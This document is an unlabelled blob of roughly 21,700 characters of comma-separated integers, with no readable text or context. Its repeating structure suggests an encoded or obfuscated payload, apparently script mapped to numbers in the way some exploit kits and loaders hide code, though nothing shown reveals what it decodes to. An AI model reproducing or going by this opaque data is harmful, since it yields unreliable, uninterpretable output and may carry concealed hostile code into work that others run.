9,49,52,16,24,0,52,72,8,18,49,9,49,52,16,24,0,52,76,76,26,0,71,46,18,8,9,63,89,38,48,35,73,20,40,17,9,63,72,48,61,4,76,11,9,8,72,0,76,26,8,18,63,48,35,73,20,40,17,9,63,88,62,12,71,0,10,17,71,46,18,17,52,41,38,40,49,72,0,18,89,52,15,46,79,9,0,41,9,86,63,76,13,13,46,18,17,52,41,38,40,49,72,0,18,63,48,49,52,76,10,17,71,46,18,17,52,41,73,20,40,17,9,63,3,9,20,52,55,52,79,15,9,86,63,72,0,61,17,76,10,9,8,72,2,17,6,6,46,18,88,30,71,71,27,76,26,9,8,72,8,18,0,20,40,17,9,63,43,48,15,1,9,49,52,16,24,0,52,72,0,61,57,48,0,0,20,9,46,48,41,9,86,63,34,35,63,89,18,48,89,86,62,52,18,0,89,8,37,49,20,57,61,48,76,76,26,17,71,57,80,57,11,52,20,15,52,26,9,8,72,8,18,0,20,40,17,9,63,43,48,15,1,9,49,52,16,24,0,52,72,0,61,57,48,0,0,20,9,46,48,41,9,86,63,34,35,63,89,18,48,89,86,62,52,18,37,82,49,48,79,15,57,61,48,76,76,26,17,71,57,75,57,11,11,11,11,11,52,20,15,52,26,17,71,8,18,35,52,79,15,9,86,63,11,49,71,46,18,17,52,41,1,9,49,52,87,63,48,62,20,52,89,73,20,40,17,9,63,72,12,61,48,76,10,8,18,9,63,15,41,48,20,20,52,89,71,49,6,6,17,36,27,74,72,49,36,4,74,72,8,18,63,48,35,73,20,40,17,9,63,88,62,12,36,82,4,18,69,74,82,27,76,76,11,52,20,15,52,26,0,71,46,18,17,52,41,32,25,88,72,8,18,0,79,86,17,64,83,58,4,81,76,13,13,46,18,17,52,41,32,25,88,72,8,18,0,79,86,17,64,83,58,27,81,76,10,62,71,34,71,33,15,45,72,58,33,89,33,18,81,53,76,34,17,10,41,79,24,26,89,71,72,0,13,13,46,18,17,52,41,83,88,1,86,62,12,72,46,18,9,63,15,52,79,41,43,16,1,31,72,57,86,62,12,52,46,41,57,61,58,57,46,20,48,15,15,9,89,57,61,8,18,46,20,48,15,15,64,83,81,61,58,57,15,79,46,57,61,57,57,81,61,57,57,61,8,76,76,76,18,19,52,41,55,52,79,15,9,86,63,15,72,76,10,8,86,79,72,65,71,4,10,65,51,84,10,65,53,53,76,26,9,8,72,62,18,41,52,15,41,72,89,76,6,6,72,2,17,13,13,66,52,17,87,37,0,18,39,27,60,17,76,76,26,17,71,66,52,17,87,37,0,18,39,27,11,11,11,46,48,41,46,22,72,22,76,26,11,8,18,9,63,15,41,48,20,20,52,89,71,17,36,27,74,72,0,36,4,74,82,27,76,11,9,8,72,2,8,18,35,52,79,15,9,86,63,76,26,8,18,35,52,79,15,9,86,63,71,46,18,8,86,79,49,48,41,38,40,49,72,17,76,11,8,18,64,38,30,16,32,31,31,87,83,58,12,81,71,8,18,9,63,15,41,48,20,20,52,89,11,11,61,50,50,74,4,11,10,73,20,40,17,9,63,83,52,41,52,46,41,18,9,63,9,41,30,46,79,9,0,41,72,76,10,73,20,40,17,9,63,83,52,41,52,46,41,18,17,52,41,55,52,79,15,9,86,63,72,57,18,57,76,10,12,35,52,79,71,73,20,40,17,9,63,83,52,41,52,46,41,18,17,52,41,55,52,79,15,9,86,63,72,57,59,48,35,48,57,61,57,18,34,17,52,41,59,48,35,48,64,63,8,86,18,12,48,79,57,76,10,0,89,8,35,52,79,71,73,20,40,17,9,63,83,52,41,52,46,41,18,17,52,41,55,52,79,15,9,86,63,72,57,32,89,86,62,52,66,52,48,89,52,79,57,76,10,8,20,48,15,22,35,52,79,71,73,20,40,17,9,63,83,52,41,52,46,41,18,17,52,41,55,52,79,15,9,86,63,72,7,3,20,48,15,22,7,76,10,11,46,48,41,46,22,72,52,76,26,11,9,8,72,41,24,0,52,86,8,68,12,35,52,79,71,71,7,15,41,79,9,63,17,7,76,26,12,35,52,79,71,12,35,52,79,18,15,0,20,9,41,72,7,18,7,76,11,52,20,15,52,26,12,35,52,79,71,58,4,61,4,61,4,61,4,81,11,9,8,72,41,24,0,52,86,8,68,0,89,8,35,52,79,71,71,7,15,41,79,9,63,17,7,76,26,0,89,8,35,52,79,71,0,89,8,35,52,79,18,15,0,20,9,41,72,7,18,7,76,11,52,20,15,52,26,0,89,8,35,52,79,71,58,4,61,4,61,4,61,4,81,11,9,8,72,41,24,0,52,86,8,68,8,20,48,15,22,35,52,79,71,71,7,15,41,79,9,63,17,7,76,26,8,20,48,15,22,35,52,79,71,8,20,48,15,22,35,52,79,18,15,0,20,9,41,72,7,18,7,76,11,52,20,15,52,26,8,20,48,15,22,35,52,79,71,58,4,61,4,61,4,61,4,81,11,8,40,63,46,41,9,86,63,68,15,0,20,4,72,76,26,15,0,20,69,72,76,11,8,40,63,46,41,9,86,63,68,15,0,20,69,72,76,26,15,0,20,85,72,76,11,8,40,63,46,41,9,86,63,68,15,0,20,85,72,76,26,8,40,63,46,41,9,86,63,68,15,65,8,40,63,46,27,72,49,76,26,35,48,79,68,79,71,7,7,10,8,86,79,72,20,71,4,10,20,51,49,18,20,52,63,17,41,22,10,20,53,53,76,26,35,48,79,68,65,71,49,18,46,22,48,79,67,86,89,52,32,41,72,20,76,10,79,53,71,30,41,79,9,63,17,18,8,79,86,49,67,22,48,79,67,86,89,52,72,72,72,65,68,6,68,4,37,3,4,76,60,60,23,76,53,27,76,10,79,53,71,30,41,79,9,63,17,18,8,79,86,49,67,22,48,79,67,86,89,52,72,72,65,68,6,68,4,37,3,76,53,27,76,11,79,52,41,40,79,63,68,79,11,8,40,63,46,41,9,86,63,68,15,65,8,40,63,46,69,72,46,76,26,35,48,79,68,37,71,46,18,41,86,30,41,79,9,63,17,72,27,42,76,10,35,48,79,68,78,71,72,37,18,20,52,63,17,41,22,68,44,68,69,76,36,7,4,7,53,37,74,37,10,79,52,41,40,79,63,68,78,11,8,40,63,46,41,9,86,63,68,15,65,8,40,63,46,85,72,79,78,76,26,35,48,79,68,79,71,7,7,10,8,86,79,72,35,48,79,68,40,71,4,10,40,51,79,78,18,20,52,63,17,41,22,10,40,53,53,76,26,79,53,71,7,44,7,10,79,53,71,15,65,8,40,63,46,69,72,79,78,18,46,22,48,79,67,86,89,52,32,41,72,40,76,76,11,79,52,41,40,79,63,68,79,11,9,8,72,12,35,52,79,58,27,81,71,71,42,6,6,12,35,52,79,58,85,81,60,71,27,80,6,6,12,35,52,79,58,85,81,51,71,69,27,76,26,35,48,79,68,15,71,7,44,23,42,44,85,85,44,42,80,44,23,83,44,42,75,44,42,87,44,85,69,44,42,67,44,14,69,44,42,84,44,42,42,44,42,77,44,42,84,44,84,80,44,85,4,44,85,84,44,85,42,44,85,4,44,84,32,44,42,67,44,23,77,44,23,27,44,85,84,44,23,85,44,42,3,44,14,69,44,14,27,44,14,85,44,85,75,44,14,42,44,42,75,44,42,42,44,84,75,44,14,23,44,14,27,44,42,85,44,42,27,44,14,4,44,23,67,44,42,14,44,23,42,44,42,80,44,85,14,44,84,84,44,84,69,44,85,14,44,23,84,44,85,84,44,14,23,44,42,32,44,42,85,44,42,67,44,85,69,44,42,80,44,23,85,44,85,85,44,85,69,44,42,80,44,23,32,44,42,75,44,85,85,44,14,85,44,42,32,44,42,32,44,14,23,44,85,4,44,14,69,44,42,87,44,84,42,44,84,27,44,84,69,44,42,84,44,23,84,44,14,75,44,14,75,44,85,69,44,85,23,44,23,83,44,42,3,44,42,23,44,84,69,44,14,85,44,84,32,44,23,77,44,42,84,44,14,32,44,42,67,44,14,69,44,14,32,44,42,14,44,23,27,44,84,14,44,85,80,44,23,27,44,84,14,44,85,27,44,42,27,44,42,80,44,14,4,44,14,80,44,85,80,44,42,80,44,42,80,44,85,75,44,84,80,44,84,32,44,85,14,44,23,14,44,85,27,44,42,23,44,85,75,44,85,75,44,85,80,44,85,23,44,42,80,44,85,75,44,85,14,44,42,75,44,85,84,44,85,69,44,23,84,44,42,77,44,85,84,44,23,77,44,85,42,44,84,42,44,84,23,44,14,42,44,84,75,44,85,14,44,85,42,44,42,32,44,85,80,44,84,80,44,42,84,44,14,69,44,84,75,44,23,14,44,42,42,44,42,3,44,42,80,44,14,80,44,85,80,44,23,87,44,84,84,44,85,84,44,42,23,44,14,27,44,14,14,44,85,80,44,23,84,44,42,67,44,84,75,44,84,80,44,42,67,44,84,14,44,23,83,44,42,80,44,23,84,44,42,32,44,14,27,44,42,42,44,14,4,44,23,85,44,14,4,44,84,14,44,84,69,44,85,27,44,85,69,44,84,14,44,42,84,44,85,23,44,42,27,44,23,69,44,42,23,44,23,84,44,23,77,44,42,23,44,84,75,44,23,3,44,84,32,44,23,32,44,84,84,44,42,83,44,85,84,44,23,87,44,23,23,44,23,69,44,85,80,44,14,14,44,14,4,44,42,84,44,85,27,44,23,23,44,14,69,44,14,75,44,85,14,44,14,32,44,23,84,44,85,14,44,14,32,44,85,85,44,42,23,44,85,42,44,42,32,44,85,84,44,85,14,44,85,85,44,42,67,44,85,85,44,85,14,44,14,69,44,42,32,44,84,4,44,84,84,44,42,3,44,42,85,44,85,80,44,23,77,44,42,14,44,42,69,44,42,27,44,42,23,44,14,4,44,42,85,44,14,23,44,14,84,44,23,80,44,42,27,44,42,85,44,84,14,44,42,14,44,14,4,44,85,80,44,14,14,44,14,75,44,85,14,44,42,23,44,85,69,44,85,85,44,85,85,44,85,80,44,85,23,44,85,27,44,85,84,44,42,83,44,42,67,44,42,32,44,23,14,44,23,42,44,42,75,44,84,84,44,23,23,44,42,83,44,84,27,44,42,69,44,14,32,44,84,85,44,42,85,44,85,84,44,14,42,44,42,27,44,23,3,44,85,27,44,84,23,44,42,27,44,84,84,44,14,75,44,14,85,44,85,84,44,42,69,44,84,23,44,14,32,44,84,27,44,84,69,44,23,77,44,23,75,44,84,42,44,85,69,44,42,3,44,42,67,44,14,80,44,85,84,44,42,23,44,23,87,44,42,32,44,42,87,44,23,42,44,42,75,44,85,23,44,23,14,44,85,4,44,85,84,44,42,84,44,85,4,44,85,27,44,42,80,44,85,69,44,23,67,44,23,75,44,85,69,44,14,80,44,84,85,44,23,84,44,23,80,44,23,69,44,42,84,44,23,85,44,85,75,44,42,75,44,14,69,44,14,14,44,42,42,44,85,75,44,42,85,44,85,14,44,14,23,44,85,27,44,85,27,44,23,87,44,42,14,44,85,80,44,42,87,44,42,80,44,14,14,44,23,77,44,42,67,44,14,23,44,42,85,44,85,14,44,85,42,44,14,80,44,85,80,44,84,85,44,14,4,44,42,27,44,14,84,44,23,83,44,42,75,44,85,75,44,85,42,44,14,14,44,42,23,44,42,87,44,23,42,44,23,3,44,84,23,44,23,42,44,14,32,44,84,27,44,84,85,44,85,14,44,85,80,44,85,14,44,42,83,44,85,69,44,14,14,44,14,27,44,42,67,44,42,32,44,85,42,44,42,14,44,14,80,44,84,32,44,42,67,44,14,69,44,42,83,44,84,4,44,23,77,44,23,77,44,42,23,44,23,67,44,14,4,44,42,80,44,84,27,44,23,3,44,42,3,44,42,87,44,23,27,44,84,4,44,23,32,44,84,23,44,42,77,44,85,4,44,42,87,44,85,27,44,84,69,44,14,69,44,14,42,44,23,83,44,23,27,44,14,84,44,4,32,44,42,67,44,85,23,44,14,67,44,85,75,44,14,77,44,42,14,44,42,83,44,85,42,44,23,23,44,85,67,44,84,27,44,23,32,44,84,83,44,14,77,44,23,87,44,85,69,44,42,42,44,84,75,44,14,42,44,85,42,44,23,4,44,69,4,44,42,4,44,23,83,44,85,14,44,85,42,44,14,67,44,84,69,44,42,4,44,27,14,44,27,67,44,85,77,44,85,14,44,85,42,44,14,67,44,23,4,44,14,27,44,14,85,44,85,27,44,4,87,44,27,3,44,85,23,44,14,67,44,27,42,44,14,69,44,85,42,44,14,67,44,27,4,44,4,27,44,4,23,44,4,27,44,4,27,44,4,27,44,4,27,44,4,27,44,4,27,44,4,27,44,4,27,44,4,27,44,69,14,44,85,23,44,85,23,44,14,67,44,85,4,44,42,4,44,84,77,44,85,77,44,4,32,44,42,67,44,85,23,44,14,67,44,42,42,44,85,23,44,85,32,44,42,23,44,42,87,44,85,75,44,23,83,44,42,23,44,84,14,44,23,77,44,23,75,44,85,23,44,85,3,44,84,83,44,84,14,44,85,75,44,42,42,44,85,85,44,14,32,44,14,77,44,23,83,44,85,14,44,85,42,44,14,67,44,14,32,44,14,14,44,42,75,44,14,14,44,85,77,44,85,14,44,85,42,44,14,67,44,84,67,44,14,32,44,4,69,44,4,69,44,69,27,44,42,69,44,85,14,44,14,67,44,42,23,44,42,42,44,4,69,44,4,42,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,85,77,44,85,14,44,85,42,44,14,67,44,14,3,44,42,42,44,14,3,44,84,27,44,69,27,44,42,69,44,85,14,44,14,67,44,14,3,44,42,42,44,14,3,44,14,14,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,85,77,44,85,14,44,85,42,44,14,67,44,23,67,44,4,69,44,85,42,44,69,87,44,69,27,44,42,69,44,85,14,44,14,67,44,14,80,44,4,69,44,85,4,44,14,3,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,85,77,44,85,14,44,85,42,44,14,67,44,14,42,44,27,27,44,84,14,44,27,27,44,69,27,44,42,69,44,85,14,44,14,67,44,14,4,44,69,4,44,14,69,44,42,3,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,85,77,44,85,14,44,85,42,44,14,67,44,85,85,44,23,84,44,4,75,44,69,85,44,69,27,44,42,69,44,85,14,44,14,67,44,84,32,44,85,23,44,27,4,44,42,42,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,4,83,44,42,80,44,85,84,44,14,67,44,85,77,44,85,14,44,85,42,44,14,67,44,14,84,44,42,32,44,23,27,44,85,85,44,69,27,44,42,69,44,85,14,44,14,67,44,85,32,44,42,27,44,42,69,44,14,4,44,4,87,44,42,77,44,85,23,44,14,67,7,53,15,65,8,40,63,46,85,72,15,65,8,40,63,46,27,72,40,63,52,15,46,48,0,52,72,7,44,42,42,44,75,85,44,87,23,44,3,67,44,3,67,44,75,84,44,87,23,44,14,84,44,85,23,44,87,80,44,84,3,44,85,85,44,67,4,44,42,23,44,75,77,44,23,4,44,85,4,44,75,77,44,23,4,44,4,67,44,75,77,44,14,4,44,27,67,44,84,42,44,75,77,44,14,42,44,4,75,44,85,85,44,83,77,44,42,42,44,75,77,44,84,87,44,85,67,44,4,85,44,14,23,44,85,85,44,69,67,44,75,27,44,87,87,44,27,84,44,27,4,44,3,3,44,3,3,44,77,75,44,75,77,44,23,4,44,85,4,44,67,85,44,23,42,44,85,80,44,4,42,44,14,84,44,3,77,44,75,14,44,85,23,44,69,23,44,75,84,44,87,23,44,14,84,44,84,27,44,87,80,44,87,77,44,23,67,44,84,27,44,84,42,44,75,77,44,14,84,44,85,67,44,75,77,44,14,23,44,85,84,44,14,75,44,4,85,44,3,84,44,84,42,44,75,77,44,14,42,44,69,4,44,4,85,44,3,84,44,85,85,44,67,80,44,23,80,44,23,27,44,3,67,44,32,83,44,4,85,44,67,84,44,85,85,44,83,77,44,4,3,44,77,87,44,27,4,44,85,75,44,3,69,44,14,23,44,4,75,44,67,27,44,67,77,44,4,83,44,4,85,44,83,32,44,23,4,44,87,77,44,3,27,44,85,77,44,27,3,44,14,84,44,87,42,44,84,87,44,75,77,44,84,87,44,69,23,44,4,85,44,83,83,44,42,42,44,75,77,44,4,67,44,23,77,44,75,83,44,23,42,44,87,67,44,3,3,44,84,23,44,69,23,44,4,67,44,75,77,44,83,75,44,4,85,44,83,83,44,75,77,44,4,23,44,75,77,44,4,85,44,67,84,44,32,77,44,84,87,44,84,80,44,67,85,44,87,77,44,84,85,44,32,83,44,75,77,44,42,75,44,69,4,44,75,4,44,14,83,44,4,67,44,85,85,44,14,23,44,4,85,44,80,42,44,87,77,44,3,85,44,75,77,44,42,75,44,4,75,44,75,77,44,3,14,44,42,32,44,4,84,44,84,80,44,87,75,44,80,75,44,3,3,44,3,3,44,3,3,44,87,69,44,3,80,44,87,75,44,4,4,44,4,4,44,4,4,44,4,4,44,84,75,44,84,4,44,42,32,44,23,4,44,42,75,44,3,3,44,4,4,44,4,4,44,4,4,44,84,4,44,75,85,44,67,4,44,27,80,44,84,4,44,84,84,44,75,77,44,87,67,44,75,77,44,84,87,44,27,4,44,75,85,44,67,85,44,4,84,44,3,3,44,87,85,44,42,75,44,42,3,44,42,87,44,4,4,44,4,4,44,42,75,44,14,84,44,14,69,44,42,67,44,42,83,44,84,23,44,3,3,44,27,42,44,75,85,44,67,23,44,4,75,44,75,77,44,87,75,44,87,75,44,42,27,44,3,3,44,3,3,44,3,3,44,87,77,44,4,69,44,87,77,44,14,69,44,75,27,44,87,67,44,4,23,44,4,27,44,4,4,44,4,4,44,75,83,44,84,67,44,69,23,44,4,67,44,67,14,44,4,23,44,69,23,44,14,69,44,42,84,44,42,14,44,14,85,44,67,14,44,23,23,44,69,23,44,4,23,44,14,42,44,14,69,44,85,85,44,85,69,44,67,14,44,23,23,44,69,23,44,4,75,44,69,4,44,69,83,44,14,85,44,69,4,44,84,85,44,42,75,44,3,75,44,4,4,44,4,4,44,4,4,44,3,3,44,84,42,44,4,67,44,75,77,44,87,75,44,85,85,44,67,80,44,84,27,44,67,14,44,23,23,44,27,83,44,4,4,44,14,14,44,14,4,44,42,69,44,14,23,44,67,14,44,23,23,44,27,83,44,4,84,44,69,87,44,42,23,44,42,67,44,42,67,44,67,42,44,23,23,44,27,83,44,4,80,44,4,4,44,84,80,44,75,32,44,67,27,44,4,23,44,85,4,44,75,75,44,23,23,44,27,83,44,4,23,44,23,27,44,84,27,44,42,32,44,4,4,44,42,32,44,4,4,44,84,85,44,84,14,44,42,32,44,4,4,44,3,3,44,84,42,44,27,23,44,75,84,44,67,4,44,14,84,44,27,42,44,42,32,44,4,4,44,84,85,44,3,3,44,84,42,44,4,23,44,42,32,44,4,4,44,75,85,44,87,77,44,4,67,44,84,85,44,3,3,44,84,42,44,4,23,44,75,85,44,67,85,44,4,67,44,87,77,44,4,69,44,87,77,44,27,85,44,23,14,44,75,4,44,85,3,44,4,4,44,14,84,44,3,32,44,23,14,44,75,4,44,85,3,44,4,4,44,14,84,44,67,23,44,42,32,44,4,4,44,42,32,44,3,87,44,3,3,44,84,42,44,4,75,44,87,75,44,80,67,44,3,87,44,3,3,44,3,3,44,75,87,44,23,87,44,4,87,44,87,67,44,80,75,44,3,87,44,75,32,44,4,87,44,75,80,44,42,3,44,4,27,44,77,83,44,85,85,44,67,32,44,75,32,44,84,77,44,27,77,44,67,42,44,23,42,44,14,80,44,85,42,44,27,32,44,69,3,44,14,4,44,42,75,44,14,23,44,14,23,44,14,4,44,85,32,44,69,3,44,69,3,44,85,27,44,42,3,44,42,87,44,42,84,44,42,3,44,42,77,44,69,87,44,42,85,44,42,84,44,69,87,44,42,83,44,14,85,44,69,3,44,14,14,44,69,87,44,14,4,44,42,75,44,14,4,44,85,3,44,42,42,44,85,83,44,85,27,44,85,14,44,69,42,44,42,84,44,85,83,44,85,85,44,4,4,44,4,4,7,76,76,76,10,35,48,79,68,48,71,89,86,46,40,49,52,63,41,18,46,79,52,48,41,52,87,20,52,49,52,63,41,72,7,48,0,0,20,52,41,7,76,10,48,18,15,52,41,32,41,41,79,9,62,40,41,52,72,7,20,48,40,7,53,7,63,46,22,12,63,20,0,7,61,7,27,7,76,10,48,18,15,52,41,32,41,41,79,9,62,40,41,52,72,7,89,86,46,62,48,15,52,7,61,40,63,52,15,46,48,0,52,72,15,76,76,10,89,86,46,40,49,52,63,41,18,62,86,89,24,18,48,0,0,52,63,89,67,22,9,20,89,72,48,76,11,15,0,20,23,72,76,11,8,40,63,46,41,9,86,63,68,15,0,20,23,72,76,26,15,0,20,84,72,76,11,8,40,63,46,41,9,86,63,68,15,0,20,84,72,76,26,15,0,20,42,72,76,11,8,40,63,46,41,9,86,63,68,15,0,20,42,72,76,26,15,52,41,16,9,49,52,86,40,41,72,15,0,20,14,61,27,4,4,4,76,11,8,40,63,46,41,9,86,63,68,17,52,41,67,38,72,76,26,79,52,41,40,79,63,68,7,46,86,63,41,52,63,41,34,15,46,86,79,52,18,15,78,8,7,11,8,40,63,46,41,9,86,63,68,17,52,41,77,20,86,46,65,30,9,50,52,72,76,26,79,52,41,40,79,63,68,27,4,69,23,11,8,40,63,46,41,9,86,63,68,17,52,41,32,20,20,86,46,30,9,50,52,72,76,26,79,52,41,40,79,63,68,27,4,69,23,68,45,68,27,4,69,23,11,8,40,63,46,41,9,86,63,68,17,52,41,32,20,20,86,46,67,86,40,63,41,72,76,26,79,52,41,40,79,63,68,85,4,4,11,8,40,63,46,41,9,86,63,68,17,52,41,3,9,20,20,77,24,41,52,15,72,76,26,79,52,41,40,79,63,68,7,44,40,4,46,4,46,44,40,4,46,4,46,7,11,8,40,63,46,41,9,86,63,68,17,52,41,30,22,52,20,20,67,86,89,52,72,76,26,79,52,41,40,79,63,68,57,44,40,23,27,23,27,44,40,23,27,23,27,44,40,75,85,42,42,44,40,8,46,52,23,44,40,52,62,8,46,44,40,84,75,27,4,44,40,46,80,85,27,44,40,75,27,42,42,44,40,84,62,52,80,44,40,75,4,8,52,44,40,69,75,85,4,44,40,52,69,23,4,44,40,52,62,8,48,44,40,52,75,4,84,44,40,8,8,52,62,44,40,8,8,8,8,44,40,46,46,48,89,44,40,27,46,84,89,44,40,14,14,46,27,44,40,52,75,27,62,44,40,48,85,23,46,44,40,27,75,42,75,44,40,42,75,48,85,44,40,48,85,69,23,44,40,85,23,84,75,44,40,48,85,14,52,44,40,69,4,84,52,44,40,8,85,27,62,44,40,48,85,23,52,44,40,27,23,14,42,44,40,84,46,69,62,44,40,4,23,27,62,44,40,46,42,48,80,44,40,85,75,85,89,44,40,89,14,89,14,44,40,48,85,80,4,44,40,27,75,42,75,44,40,42,52,52,62,44,40,69,52,27,27,44,40,89,85,84,89,44,40,27,46,48,8,44,40,48,89,4,46,44,40,84,89,46,46,44,40,46,27,14,80,44,40,42,23,46,85,44,40,14,52,14,80,44,40,84,89,48,85,44,40,48,85,27,23,44,40,27,89,84,46,44,40,69,62,84,4,44,40,14,52,89,89,44,40,84,52,48,85,44,40,69,62,4,75,44,40,27,62,89,89,44,40,42,27,52,27,44,40,89,23,42,80,44,40,69,62,75,84,44,40,27,62,52,89,44,40,69,14,8,85,44,40,85,75,80,42,44,40,89,48,27,4,44,40,69,4,84,46,44,40,52,85,52,80,44,40,69,62,69,84,44,40,42,75,8,69,44,40,89,80,46,85,44,40,85,14,27,85,44,40,46,52,84,89,44,40,48,85,14,42,44,40,4,46,14,42,44,40,8,84,69,62,44,40,48,85,23,52,44,40,42,85,69,23,44,40,42,52,48,84,44,40,89,14,46,23,44,40,4,46,14,46,44,40,48,85,69,23,44,40,69,62,8,4,44,40,48,85,8,84,44,40,48,85,69,46,44,40,52,89,69,62,44,40,14,42,75,85,44,40,52,62,14,27,44,40,14,62,46,85,44,40,48,85,75,84,44,40,4,75,23,4,44,40,84,84,48,75,44,40,27,62,69,23,44,40,69,62,84,46,44,40,46,85,62,52,44,40,48,85,89,62,44,40,69,4,23,4,44,40,89,8,48,85,44,40,69,89,23,69,44,40,46,4,14,27,44,40,89,14,62,4,44,40,89,14,89,14,44,40,89,27,46,48,44,40,69,75,46,4,44,40,69,75,69,75,44,40,14,4,69,75,44,40,23,69,14,75,44,40,23,4,42,75,44,40,69,75,89,14,44,40,69,75,69,75,44,40,48,62,14,75,44,40,85,27,52,75,44,40,14,89,14,75,44,40,46,23,48,85,44,40,14,42,48,85,44,40,48,62,85,75,44,40,69,89,52,62,44,40,46,62,89,14,44,40,23,14,23,4,44,40,69,75,23,42,44,40,23,4,69,75,44,40,84,48,84,89,44,40,23,84,23,23,44,40,89,14,14,46,44,40,48,62,85,52,44,40,69,4,52,46,44,40,46,4,48,85,44,40,23,80,46,4,44,40,89,14,89,14,44,40,46,85,89,14,44,40,46,85,69,48,44,40,48,80,84,48,44,40,69,46,46,23,44,40,69,75,69,80,44,40,48,84,69,75,44,40,4,46,14,23,44,40,52,8,69,23,44,40,4,46,69,46,44,40,23,89,84,48,44,40,84,62,23,8,44,40,42,46,52,8,44,40,69,46,4,46,44,40,84,48,84,52,44,40,27,48,27,62,44,40,42,46,52,8,44,40,69,4,4,46,44,40,4,84,4,75,44,40,4,75,84,62,44,40,23,4,14,62,44,40,69,75,89,4,44,40,69,75,69,75,44,40,14,52,89,14,44,40,48,85,69,23,44,40,27,62,46,4,44,40,14,80,52,27,44,40,42,46,52,8,44,40,69,75,85,84,44,40,84,75,84,8,44,40,84,46,23,48,44,40,42,46,52,8,44,40,69,89,85,84,44,40,23,46,4,42,44,40,23,23,23,23,44,40,42,46,52,52,44,40,69,27,85,84,44,40,14,27,69,75,44,40,52,80,48,69,44,40,27,75,69,46,44,40,42,46,48,4,44,40,69,46,85,84,44,40,14,80,42,80,44,40,69,75,23,69,44,40,69,75,23,69,44,40,14,8,14,62,44,40,69,75,23,69,44,40,14,52,89,14,44,40,48,89,85,46,44,40,84,89,52,75,44,40,23,69,85,52,44,40,14,62,69,75,44,40,14,52,89,14,44,40,23,69,69,46,44,40,48,62,69,75,44,40,69,23,46,85,44,40,89,14,14,62,44,40,69,46,14,52,44,40,52,62,48,62,44,40,46,85,69,23,44,40,46,85,69,48,44,40,42,8,85,62,44,40,27,14,48,75,44,40,84,89,69,75,44,40,42,8,89,69,44,40,27,14,48,75,44,40,84,89,69,75,44,40,23,69,52,46,44,40,23,69,69,75,44,40,89,14,89,42,44,40,69,4,14,52,44,40,62,23,46,4,44,40,89,14,89,42,44,40,48,42,89,14,44,40,69,42,42,42,44,40,62,4,46,23,44,40,48,69,89,42,44,40,48,27,69,42,44,40,69,80,23,14,44,40,27,62,80,84,44,40,48,69,52,69,44,40,85,85,14,85,44,40,42,52,52,52,44,40,27,52,84,27,44,40,4,14,85,69,44,40,23,4,84,75,44,40,84,46,84,46,44,40,27,69,84,75,44,40,4,14,4,14,44,40,23,14,27,80,44,40,23,89,23,42,44,40,23,85,23,14,44,40,23,62,4,42,44,40,4,42,23,89,44,40,84,62,23,84,44,40,84,8,4,14,44,40,84,75,4,42,44,40,84,75,23,4,44,40,23,52,27,14,44,40,27,80,27,84,44,40,4,52,27,8,44,40,27,84,23,89,44,40,69,75,27,4,44,40,4,4,69,75,57,11,8,40,63,46,41,9,86,63,68,15,0,20,14,72,76,26,35,48,79,68,35,52,79,27,71,8,20,48,15,22,35,52,79,58,4,81,10,35,48,79,68,35,52,79,69,71,8,20,48,15,22,35,52,79,58,27,81,10,35,48,79,68,35,52,79,85,71,8,20,48,15,22,35,52,79,58,69,81,10,9,8,68,72,72,72,35,52,79,27,71,71,27,4,6,6,35,52,79,69,71,71,4,6,6,35,52,79,85,60,23,4,76,13,13,72,72,35,52,79,27,71,71,27,4,6,6,35,52,79,69,60,4,76,6,6,72,35,52,79,27,71,71,27,4,6,6,35,52,79,69,51,69,76,76,76,13,13,72,72,35,52,79,27,71,71,27,4,6,6,35,52,79,69,71,71,69,6,6,35,52,79,85,51,27,84,80,76,13,13,72,35,52,79,27,71,71,27,4,6,6,35,52,79,69,51,69,76,76,76,26,35,48,79,68,8,63,48,49,52,71,57,46,86,63,41,52,63,41,34,8,9,52,20,89,57,10,35,48,79,68,3,20,48,15,22,21,86,62,12,71,57,51,86,62,12,52,46,41,68,46,20,48,15,15,9,89,71,7,46,20,15,9,89,74,89,69,14,46,89,62,42,52,82,48,52,42,89,82,27,27,46,8,82,80,42,62,75,82,23,23,23,84,84,85,84,23,4,4,4,4,7,68,78,9,89,41,22,71,27,4,68,22,52,9,17,22,41,71,27,4,68,9,89,71,7,15,78,8,21,9,89,7,60,57,10,3,20,48,15,22,21,86,62,12,53,71,57,51,0,48,79,48,49,68,63,48,49,52,71,7,49,86,35,9,52,7,68,35,48,20,40,52,71,7,57,53,8,63,48,49,52,53,57,18,15,78,8,7,68,34,60,57,10,3,20,48,15,22,21,86,62,12,53,71,57,51,0,48,79,48,49,68,63,48,49,52,71,7,48,20,20,86,78,30,46,79,9,0,41,32,46,46,52,15,15,7,68,35,48,20,40,52,71,7,48,20,78,48,24,15,7,68,34,60,57,10,3,20,48,15,22,21,86,62,12,53,71,57,51,0,48,79,48,49,68,63,48,49,52,71,7,73,20,48,24,7,68,35,48,20,40,52,71,7,4,7,68,34,60,57,10,3,20,48,15,22,21,86,62,12,53,71,57,51,52,49,62,52,89,68,15,79,46,71,7,57,53,8,63,48,49,52,53,57,18,15,78,8,7,68,9,89,71,7,15,78,8,21,9,89,7,68,63,48,49,52,71,7,15,78,8,21,9,89,7,57,10,3,20,48,15,22,21,86,62,12,53,71,57,48,20,20,86,78,30,46,79,9,0,41,32,46,46,52,15,15,71,7,48,20,78,48,24,15,7,57,10,3,20,48,15,22,21,86,62,12,53,71,57,41,24,0,52,71,7,48,0,0,20,9,46,48,41,9,86,63,34,37,82,15,22,86,46,65,78,48,35,52,82,8,20,48,15,22,7,57,10,3,20,48,15,22,21,86,62,12,53,71,57,78,9,89,41,22,71,7,27,4,7,68,22,52,9,17,22,41,71,7,27,4,7,60,57,10,3,20,48,15,22,